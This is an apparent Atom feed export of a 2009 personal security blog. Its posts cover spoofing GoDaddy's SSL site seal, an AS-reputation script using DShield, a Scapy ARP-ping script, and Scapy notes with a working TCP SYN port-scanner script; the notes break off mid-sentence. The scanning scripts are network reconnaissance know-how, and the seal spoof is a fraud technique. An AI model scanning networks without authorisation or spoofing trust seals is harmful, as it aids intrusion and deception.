href='http://www.blogger.com/feeds/12824632/posts/default/3193864751845102018'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2009/09/maltego-technorati-and-creative-commons.html' title='Maltego, Technorati, and Creative Commons Licensing Failure'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-3768166517787214537</id><published>2009-03-23T00:26:00.005-04:00</published><updated>2009-03-23T00:57:45.094-04:00</updated><title type='text'>twitter badness?</title><content type='html'>so, a few days ago i was working on a project, and noticed that GoDaddy allows web sites which use their SSL certificates to post a flashie thing on their website allowing visitors to check the status of the cert. (see the bottom of &lt;a href="http://tweepme.com"&gt;tweepme.com&lt;/a&gt; for an example).&lt;br /&gt;&lt;br /&gt;It turns out that GoDaddy actually has the blank certificate image stored on their servers, and that it is accessible via http in addition to https.&lt;br /&gt;&lt;br /&gt;This means it could easily be used for spoofing by anyone that knows how to:&lt;br /&gt;   a) manipulate an image in an image editing software application or &lt;br /&gt;   b) manipulate an image in any number of programming languages&lt;br /&gt;&lt;br /&gt;So, I decided to make the following tweet at twitter:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;"interesting. if you know how to manipulate images, you too can spoof godaddy's SSL seal: http://is.gd/o1pM"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;It was posted, and then disappeared about 15 minutes later.&lt;br /&gt;I reposted it. Half an hour later, it was gone again.&lt;br /&gt;&lt;br /&gt;So I talked to a friend of mine that follows me on twitter and had him pull up my page in his browser, and also in his third party application on a mobile device. I then posted again. He confirmed that it showed on my twitter profile page, but that it didn't hit his feed, nor his mobile device. About half an hour later, it disappeared again.&lt;br /&gt;&lt;br /&gt;I then posted a tweet about the fact that my tweets were going missing for some reason. That also vanished about 20 minutes after posting.&lt;br /&gt;&lt;br /&gt;So, I posted a tweet about something completely unrelated, that stayed.&lt;br /&gt;&lt;br /&gt;At that point, I sent a request into twitter support asking whether I was triggering their ToS violation or such and that this was leading to my tweets vanishing. As yet (3 days later), it's not even been assigned to anyone to review. It can be found &lt;a href="http://twitter.zendesk.com/requests/90331"&gt;on their site&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Hmm... Interesting.&lt;br /&gt;&lt;br /&gt;[edit]&lt;br /&gt;apparently the link above only works if you are logged in, and even then may only work for the submitter of the ticket. here's a screenshot:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_YWhkVQJDZyw/SccWuvqjWUI/AAAAAAAAAaI/2-ltAY-VRoU/s1600-h/Capture.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 294px;" src="http://3.bp.blogspot.com/_YWhkVQJDZyw/SccWuvqjWUI/AAAAAAAAAaI/2-ltAY-VRoU/s320/Capture.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5316242877458897218" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-3768166517787214537?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/3768166517787214537/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2009/03/twitter-badness.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/3768166517787214537'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/3768166517787214537'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2009/03/twitter-badness.html' title='twitter badness?'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_YWhkVQJDZyw/SccWuvqjWUI/AAAAAAAAAaI/2-ltAY-VRoU/s72-c/Capture.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-3028657071401574137</id><published>2009-03-03T14:47:00.003-05:00</published><updated>2010-03-02T21:55:54.687-05:00</updated><title type='text'>network upgrade!</title><content type='html'>I've been wanting to upgrade to business class Road Runner for some time, but haven't had the chance to do so until now. There's a lot of reasons behind my wanting to do this, some of them are:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;static IP addresses are only available via Road Runner's business class offering&lt;/li&gt;&lt;br /&gt;&lt;li&gt;while download speeds are the same or less than residential, upload speed is significantly higher (on paper)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;the residential cable modem I have only works at 10M half duplex for the 'client' side interface, which means while i run a gig-e or 100M full network in my home, I'm throttled to that at my uplink.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;So, I put the call in, got the quote, signed it, and sent it back.&lt;br /&gt;2 days later and I have a shiny new modem. But even better, I have this:&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Bandwidth Thoughput from MyHouse to Various Places&lt;/h4&gt;&lt;br /&gt;&lt;pre&gt;rochester, ny (http://rochester.speedtest.frontiernet.net/)&lt;br /&gt;   down - 7.013 Mbps&lt;br /&gt;   up - 1.415 Mbps&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;los angeles, california (http://lax.speedtest.dslextreme.com/speed.php)&lt;br /&gt;   down - 4.505 Mbps&lt;br /&gt;   up - 1.385 Mbps&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;san francisco, california (http://helpme.att.net/dsl/speedtest/)&lt;br /&gt;   down - 8.782 Mbps&lt;br /&gt;   up - 1.460 Mbps&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;dallas, texas (http://www.gospeedtest.com/index.html)&lt;br /&gt;   down - 4.075 Mbps&lt;br /&gt;   up - 0.854 Mbps&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-3028657071401574137?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/3028657071401574137/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2009/03/network-upgrade.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/3028657071401574137'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/3028657071401574137'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2009/03/network-upgrade.html' title='network upgrade!'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-84472773487233812</id><published>2009-03-03T01:15:00.009-05:00</published><updated>2010-03-04T10:49:07.996-05:00</updated><title type='text'>ASNCheck Script</title><content type='html'>While working on a project today I decided that it would be handy to have a script that could take an AS number (from stdin or from a list of them) and check the health status of it (via things like DNSBL for example), specifically gathering information that could lead one to determine the relative infection/compromise level. &lt;br /&gt;&lt;br /&gt;Ideally, such a script would be able to alternatively take an IP address, determine the AS for it and then report on both the IP provided as well as the overall "health" of the AS associated with it. &lt;br /&gt;&lt;br /&gt;Well, some of that I managed to whip out tonight, though not all.&lt;br /&gt;&lt;br /&gt;I'll keep working on this, but I think it's useful enough now to warrant posting (I normally do *not* make code public in this raw a state, so take note that there are very likely bugs in this).&lt;br /&gt;&lt;br /&gt;That said, here's 'asncheck.py'.&lt;br /&gt;In its current state, it just returns a list of IP addresses from a given AS which are in the &lt;a href="http://dshield.org"&gt;dShield&lt;/a&gt; current watchlist.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;#! /usr/bin/env python&lt;br /&gt;# ------------------------------------------------&lt;br /&gt;# asncheck:&lt;br /&gt;# retrieves the current dshield watchlist for&lt;br /&gt;# a given AS, returning just the IP addresses. &lt;br /&gt;# sample url:&lt;br /&gt;# https://secure.dshield.org/asdetailsascii.html?as=123&lt;br /&gt;# ------------------------------------------------&lt;br /&gt;# written by:&lt;br /&gt;# jason ross (algorythm@gmail.com)&lt;br /&gt;# ------------------------------------------------&lt;br /&gt;import sys&lt;br /&gt;&lt;br /&gt;def main():&lt;br /&gt;   # here beginneth the script&lt;br /&gt;   opts = parmsdealer()&lt;br /&gt;&lt;br /&gt;   if (opts.verbose == 1):&lt;br /&gt;      print "\nRetrieving information for AS Number " + opts.asn + ":\n"&lt;br /&gt;    &lt;br /&gt;   if (opts.infile):&lt;br /&gt;      try:&lt;br /&gt;         filedata = open(opts.infile, 'rU')&lt;br /&gt;      except IOError:&lt;br /&gt;         print "unable to open input file \'" + opts.infile + "\'\n"&lt;br /&gt;         sys.exit(1)&lt;br /&gt;      except:&lt;br /&gt;          print "Unexpected error:", sys.exc_info()[0]&lt;br /&gt;          sys.exit(1)&lt;br /&gt;      else:&lt;br /&gt;         for line in filedata:&lt;br /&gt;            print line&lt;br /&gt;            asn = line.split(opts.delim, 3)[int(opts.col)]&lt;br /&gt;    &lt;br /&gt;   if (opts.asn):&lt;br /&gt;      asn = opts.asn&lt;br /&gt;&lt;br /&gt;   dshield(asn, opts.verbose)&lt;br /&gt;&lt;br /&gt;   #print '{0}.{1}.{2}.{3}'.format(oct1.zfill(3),oct2.zfill(3),oct3.zfill(3),oct4.zfill(3))&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;def parmsdealer():&lt;br /&gt;   import sys&lt;br /&gt;   from optparse import OptionParser&lt;br /&gt;   version="\nasncheck: version 0.1\nauthor: jason ross &lt;algorythm@gmail.com&gt;\n"&lt;br /&gt;   usage="\n\n%prog [OPTIONS]\n"&lt;br /&gt;   parser = OptionParser(usage=usage, version=version)&lt;br /&gt;   &lt;br /&gt;   # set up command line arguments&lt;br /&gt;   parser.set_defaults(col=0)&lt;br /&gt;   parser.set_defaults(delim="|")&lt;br /&gt;   parser.set_defaults(verbose=0)&lt;br /&gt;    &lt;br /&gt;   parser.add_option("-v", "--verbose", dest="verbose",&lt;br /&gt;                     action="store_true", help="turn on/off verbosity (default: off)")&lt;br /&gt;   parser.add_option("-a", "--asn", dest="asn",&lt;br /&gt;                     action="store", help="specify the AS to retrieve data for (just the number, or with 'AS' prepended)")&lt;br /&gt;   parser.add_option("-f", "--infile", dest="infile",&lt;br /&gt;                     action="store", help="get the AS from the specified file (can be a list)")&lt;br /&gt;   parser.add_option("-c", "--col", dest="col",&lt;br /&gt;                     action="store", help="[required with -f] specifies which column in an input file contains the AS (default is to use the first column: '0')")&lt;br /&gt;   parser.add_option("-d", "--delim", dest="delim",&lt;br /&gt;                     action="store", help="[required with -f] specifies the delimiter to use when parsing the input file (default is to use the ASCII pipe character (0x7c):  '|')")&lt;br /&gt;                     &lt;br /&gt;   # process command line arguments&lt;br /&gt;   (options, args) = parser.parse_args()&lt;br /&gt;   &lt;br /&gt;   # exit if we're missing options&lt;br /&gt;   if (not options.asn and not options.infile):&lt;br /&gt;      print "\n" + sys.argv[0] + ": missing parameter(s)\n"&lt;br /&gt;      parser.print_help()&lt;br /&gt;      print "\n"&lt;br /&gt;      sys.exit(1)&lt;br /&gt;    &lt;br /&gt;   # exit if we've got conflicting options&lt;br /&gt;   if (options.asn and options.infile):&lt;br /&gt;      print "\n" + sys.argv[0] + ": can't set both an asn and an input file (there can be only one!)\n"&lt;br /&gt;      parser.print_help()&lt;br /&gt;      print "\n"&lt;br /&gt;      sys.exit(1)&lt;br /&gt;&lt;br /&gt;   return options&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;def dshield(asn, verbose):&lt;br /&gt;   import socket&lt;br /&gt;   import urllib&lt;br /&gt;   import urllib2&lt;br /&gt;   import re&lt;br /&gt;    &lt;br /&gt;   # urllib2 calls socket, so we can set the timeout here&lt;br /&gt;   timeout = 5&lt;br /&gt;   socket.setdefaulttimeout(timeout)&lt;br /&gt;&lt;br /&gt;   baseuri = 'https://secure.dshield.org/asdetailsascii.html'&lt;br /&gt;&lt;br /&gt;   params = {}&lt;br /&gt;   params['as'] = asn&lt;br /&gt;   encparams = urllib.urlencode(params)&lt;br /&gt;&lt;br /&gt;   requri = baseuri + '?' + encparams&lt;br /&gt;   req = urllib2.Request(requri)&lt;br /&gt;&lt;br /&gt;   if (verbose == 1):&lt;br /&gt;      print "opening " + requri + "\n"&lt;br /&gt;&lt;br /&gt;   try:&lt;br /&gt;      res = urllib2.urlopen(req)&lt;br /&gt;   except urllib2.URLError, e:&lt;br /&gt;      if hasattr(e, "code"):&lt;br /&gt;         print "site borked! HTTP error: " &lt;br /&gt;         print e.code&lt;br /&gt;      elif hasattr(e, "reason"):&lt;br /&gt;         print "server borked! reason: "&lt;br /&gt;         print e.reason&lt;br /&gt;   else:&lt;br /&gt;      data = res.readlines()&lt;br /&gt;#      print data&lt;br /&gt;      for line in data:&lt;br /&gt;         if ( re.match(r"[0-9]", line) ):&lt;br /&gt;            ip = line.split()&lt;br /&gt;            print ip[0]&lt;br /&gt;      &lt;br /&gt;&lt;br /&gt;if __name__ == "__main__":&lt;br /&gt;   main()&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-84472773487233812?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/84472773487233812/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2009/03/asncheck-script.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/84472773487233812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/84472773487233812'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2009/03/asncheck-script.html' title='ASNCheck Script'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-5453858479466098642</id><published>2009-01-21T23:48:00.005-05:00</published><updated>2010-03-04T10:48:52.088-05:00</updated><title type='text'>ARP Ping Using Scapy</title><content type='html'>here's a quick script i whipped up a while ago.&lt;br /&gt;it uses scapy to perform an ARP ping of a network, and provides a CSV report of any MAC addresses it finds, along with the associated IP's.&lt;br /&gt;&lt;br /&gt;It requires tcpdump to be installed and in the $PATH, as well as root privs to run.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;#!/usr/bin/env python&lt;br /&gt;# note that this script requires tcpdump to be installed&lt;br /&gt;# additionally, it requires root privs to run.&lt;br /&gt;&lt;br /&gt;import sys&lt;br /&gt;if len(sys.argv) != 2:&lt;br /&gt;    print "Usage: pingarp &lt;net&gt;\n  eg: pingarp 192.168.1.0/24"&lt;br /&gt;    sys.exit(1)&lt;br /&gt;&lt;br /&gt;from scapy import srp,Ether,ARP,conf&lt;br /&gt;conf.verb=0&lt;br /&gt;ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=sys.argv[1]),&lt;br /&gt;              timeout=2)&lt;br /&gt;&lt;br /&gt;print r"MAC,IP"&lt;br /&gt;for snd,rcv in ans:&lt;br /&gt;    print rcv.sprintf(r"%Ether.src%,%ARP.psrc%")&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;here's sample output:&lt;br /&gt;&lt;pre&gt;$ sudo ./pingarp 192.168.11.0/24&lt;br /&gt;MAC,IP&lt;br /&gt;00:16:01:8b:54:4a,192.168.11.1&lt;br /&gt;00:13:ce:e9:6e:95,192.168.11.3&lt;br /&gt;00:40:ca:8a:72:48,192.168.11.6&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-5453858479466098642?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/5453858479466098642/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2009/01/arp-ping-using-scapy.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/5453858479466098642'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/5453858479466098642'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2009/01/arp-ping-using-scapy.html' title='ARP Ping Using Scapy'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-6876026095528285365</id><published>2009-01-20T23:09:00.003-05:00</published><updated>2009-01-21T19:12:25.062-05:00</updated><title type='text'>crappy blogger templates</title><content type='html'>i'm going to have to consider either writing my own template, or moving to another blog technology.&lt;br /&gt;every one of the default templates sucks for posting code, or any other long string of text for that matter. there's a lot more i could complain about, but that single fact at the moment is bugging me.&lt;br /&gt;&lt;br /&gt;so, i've switched to a very basic template, and added the following bit of css to the code for now:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;.post pre, .post code {&lt;br /&gt; overflow: auto;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;this works, but is less than ideal i think. not sure there's a good answer, but i'm definitely going to start looking into one. for now, sorry for the ugly layout, but hey, if it's that bad, RSS ftw! ;-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-6876026095528285365?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/6876026095528285365/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2009/01/crappy-blogger-templates.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/6876026095528285365'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/6876026095528285365'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2009/01/crappy-blogger-templates.html' title='crappy blogger templates'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-997455316840180439</id><published>2009-01-20T22:50:00.003-05:00</published><updated>2010-03-02T21:58:01.665-05:00</updated><title type='text'>Scapy Notes</title><content type='html'>Scapy is an "interactive packet manipulation program" written in python. It basically is a packet workshop framework which allows one to craft their own packets from scratch to match a variety of protocols, then send them on the wire and capture the results for analysis. Since it is written in python, it allows one to essentially create any number of tools, including scanners, fuzzers, DoS tools, etc. More info on it can be found at the &lt;a href="http://www.secdev.org/projects/scapy/"&gt;scapy home page&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Basic Usage&lt;/span&gt;&lt;br /&gt;When scapy is run from the command line, it loads the scapy modules and then drops you at the python shell prompt. This is useful for a number of reasons, but primary among them is that this means anything you can do in python, you can do in scapy as well. For the moment though, we're going to focus solely on the scapy specific modules.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Building a Packet&lt;/span&gt;&lt;br /&gt;Scapy makes it extremely easy to build a packet, here's what it looks like:&lt;br /&gt;&lt;br /&gt;First, we call scapy interactively:&lt;br /&gt;&lt;pre&gt;[root@snsvc]# scapy&lt;br /&gt;Welcome to Scapy (v1.1.1 / f88d99910220)&lt;br /&gt;&gt;&gt;&gt;&lt;/pre&gt;&lt;br /&gt;Next, we create the IP frame, then the TCP packet:&lt;br /&gt;&lt;pre&gt;&gt;&gt;&gt; a=IP()&lt;br /&gt;&gt;&gt;&gt; b=TCP()&lt;/pre&gt;&lt;br /&gt;Now we combine the two to create the TCP/IP datagram:&lt;br /&gt;&lt;pre&gt;&gt;&gt;&gt; c=a/b&lt;/pre&gt;&lt;br /&gt;We can use scapy's &lt;span style="font-style: italic;"&gt;ls&lt;/span&gt; command to view the contents of the packet:&lt;br /&gt;&lt;pre&gt;&gt;&gt;&gt; ls(c)&lt;br /&gt;version    : BitField             = 4               (4)&lt;br /&gt;ihl        : BitField             = None            (None)&lt;br /&gt;tos        : XByteField           = 0               (0)&lt;br /&gt;len        : ShortField           = None            (None)&lt;br /&gt;id         : ShortField           = 1               (1)&lt;br /&gt;flags      : FlagsField           = 0               (0)&lt;br /&gt;frag       : BitField             = 0               (0)&lt;br /&gt;ttl        : ByteField            = 64              (64)&lt;br /&gt;proto      : ByteEnumField        = 6               (0)&lt;br /&gt;chksum     : XShortField          = None            (None)&lt;br /&gt;src        : Emph                 = '127.0.0.1'     (None)&lt;br /&gt;dst        : Emph                 = '127.0.0.1'     ('127.0.0.1')&lt;br /&gt;options    : IPoptionsField       = ''              ('')&lt;br /&gt;--&lt;br /&gt;sport      : ShortEnumField       = 20              (20)&lt;br /&gt;dport      : ShortEnumField       = 80              (80)&lt;br /&gt;seq        : IntField             = 0               (0)&lt;br /&gt;ack        : IntField             = 0               (0)&lt;br /&gt;dataofs    : BitField             = None            (None)&lt;br /&gt;reserved   : BitField             = 0               (0)&lt;br /&gt;flags      : FlagsField           = 2               (2)&lt;br /&gt;window     : ShortField           = 8192            (8192)&lt;br /&gt;chksum     : XShortField          = None            (None)&lt;br /&gt;urgptr     : ShortField           = 0               (0)&lt;br /&gt;options    : TCPOptionsField      = {}              ({})&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Changing Packet Details&lt;/span&gt;&lt;br /&gt;Now, if we want to change any of the fields in the packet, we can do so by altering their values. For example, to change the IP destination to 192.168.1.1 and set the TCP destination port to 443, we do the following:&lt;br /&gt;&lt;pre&gt;&gt;&gt;&gt; a.dst='192.168.1.1'&lt;br /&gt;&gt;&gt;&gt; b.dport=443&lt;/pre&gt;&lt;br /&gt;Now we recreate the TCP/IP packet again, and view the changes using &lt;span style="font-style: italic;"&gt;ls&lt;/span&gt;:&lt;br /&gt;&lt;pre&gt;&gt;&gt;&gt; c=a/b&lt;br /&gt;&gt;&gt;&gt; ls(c)&lt;br /&gt;version    : BitField             = 4               (4)&lt;br /&gt;ihl        : BitField             = None            (None)&lt;br /&gt;tos        : XByteField           = 0               (0)&lt;br /&gt;len        : ShortField           = None            (None)&lt;br /&gt;id         : ShortField           = 1               (1)&lt;br /&gt;flags      : FlagsField           = 0               (0)&lt;br /&gt;frag       : BitField             = 0               (0)&lt;br /&gt;ttl        : ByteField            = 64              (64)&lt;br /&gt;proto      : ByteEnumField        = 6               (0)&lt;br /&gt;chksum     : XShortField          = None            (None)&lt;br /&gt;src        : Emph                 = '192.168.1.3'   (None)&lt;br /&gt;dst        : Emph                 = '192.168.1.1'   ('127.0.0.1')&lt;br /&gt;options    : IPoptionsField       = ''              ('')&lt;br /&gt;--&lt;br /&gt;sport      : ShortEnumField       = 20              (20)&lt;br /&gt;dport      : ShortEnumField       = 443             (80)&lt;br /&gt;seq        : IntField             = 0               (0)&lt;br /&gt;ack        : IntField             = 0               (0)&lt;br /&gt;dataofs    : BitField             = None            (None)&lt;br /&gt;reserved   : BitField             = 0               (0)&lt;br /&gt;flags      : FlagsField           = 2               (2)&lt;br /&gt;window     : ShortField           = 8192            (8192)&lt;br /&gt;chksum     : XShortField          = None            (None)&lt;br /&gt;urgptr     : ShortField           = 0               (0)&lt;br /&gt;options    : TCPOptionsField      = {}              ({})&lt;/pre&gt;&lt;br /&gt;Note that even though we didn't change the IP source, the value has changed. This is because scapy determined which interface would be used to send the packet to the destination we configured, and changed the source to that interface's address for us. We can override this if desired.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Sending the Packet&lt;/span&gt;&lt;br /&gt;We use the sr() function to send the data across the wire. This function sends the packet, sniffs the response, and matches sent packets with the received responses. It works at layer 3, and will return the whole result of a probe.&lt;br /&gt;&lt;pre&gt;&gt;&gt;&gt; sr(c)&lt;br /&gt;Begin emission:&lt;br /&gt;...Finished to send 1 packets.&lt;br /&gt;*&lt;br /&gt;Received 4 packets, got 1 answers, remaining 0 packets&lt;br /&gt;(&lt;results: 1="" 0=""&gt;, &lt;unanswered: 0=""&gt;)&lt;/unanswered:&gt;&lt;/results:&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Viewing Results&lt;/span&gt;&lt;br /&gt;We can view the results by assigning them to variables:&lt;br /&gt;&lt;pre&gt;&gt;&gt;&gt; res,unans=_&lt;br /&gt;&gt;&gt;&gt; res.nsummary()&lt;br /&gt;0000 IP / TCP 192.168.1.3:ftp_data &gt; 192.168.1.1:https S ==&gt; IP / TCP 192.168.1.1:https &gt; 192.168.1.3:ftp_data SA / Padding&lt;/pre&gt;&lt;br /&gt;Here we see we sent a SYN packet to port 443, and received a SYN/ACK packet back from the destination. We also see there was some Padding added to the SYN/ACK. We can view the information in the padding by accessing the results list directly:&lt;br /&gt;&lt;pre&gt;&gt;&gt;&gt; res[0][1]&lt;br /&gt;&lt;ip version="4L" ihl="5L" tos="0x0" len="44" id="64715" flags="frag=0L" ttl="64" proto="tcp" chksum="0xfaab" src="192.168.1.1" dst="192.168.1.3" options=""&gt;&lt;tcp sport="https" dport="ftp_data" seq="3892113773L" ack="1" dataofs="6L" reserved="0L" flags="SA" window="4096" chksum="0x29d7" urgptr="0" options="[('MSS',"&gt;&lt;padding load="\x00\x00"&gt;&gt;&gt;&lt;br /&gt;&lt;/padding&gt;&lt;/tcp&gt;&lt;/ip&gt;&lt;/pre&gt;&lt;br /&gt;Scripted Usage&lt;br /&gt;Because scapy is written in python, it can be used from within any python script simply by using the &lt;span style="font-style: italic;"&gt;import scapy&lt;/span&gt; statement.&lt;br /&gt;For example, here's a simple script to perform a TCP SYN scan of ports 0-1024 on a given host (provided as a parameter to the script):&lt;br /&gt;&lt;pre&gt;#!/usr/bin/env python&lt;br /&gt;import sys&lt;br /&gt;from scapy import sr,IP,TCP,conf&lt;br /&gt;conf.verb = 0&lt;br /&gt;dstip = sys.argv[1]&lt;br /&gt;&lt;br /&gt;print "\nBeginning scan of "+dstip&lt;br /&gt;res,unans = sr(IP(dst=dstip)/TCP(dport=[(0,1024)]),timeout=1)&lt;br /&gt;if res:&lt;br /&gt;   print "\nReceived answers from the following ports:\n"&lt;br /&gt;   for s,r in res:&lt;br /&gt;      print r.sprintf("%TCP.sport%")&lt;br /&gt;print "\nScan completed\n"&lt;/pre&gt;&lt;br /&gt;And here's the results of running this:&lt;br /&gt;&lt;pre&gt;[root@snsvc]# ./scanner 192.168.1.1&lt;br /&gt;&lt;br /&gt;Beginning scan of 192.168.1.1&lt;br /&gt;&lt;br /&gt;Received answers from the following ports:&lt;br /&gt;&lt;br /&gt;telnet&lt;br /&gt;http&lt;br /&gt;https&lt;br /&gt;&lt;br /&gt;Scan completed&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Install/Config Notes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;"Error during evauluation of config file"&lt;/span&gt;&lt;br /&gt;When running scapy from inside other python scripts, you may encounter the following error message:&lt;br /&gt;&lt;pre&gt;ERROR: Error during evaluation of config file [None]&lt;br /&gt;Traceback (most recent call last):&lt;br /&gt;File "/usr/lib/python2.4/site-packages/scapy.py", line 12183, in read_config_file&lt;br /&gt;execfile(configfile)&lt;/pre&gt;&lt;br /&gt;Not very helpful, but easy to fix. The problem is that scapy is looking for a config file which doesn't exist. The good news is that one just has to be present, no configuration is required. To fix this, simply do the following:&lt;br /&gt;&lt;pre&gt;# touch ~/.scapy_startup.py&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Using the Loopback Interface&lt;/span&gt;&lt;br /&gt;The loopback interface is a special interface, in that packets going through it are not really assembled and dissassembled. The kernel routes the packet to its destination while it is still stored an internal structure.&lt;br /&gt;&lt;br /&gt;In order to use the loopback interface, you need to send your packets using 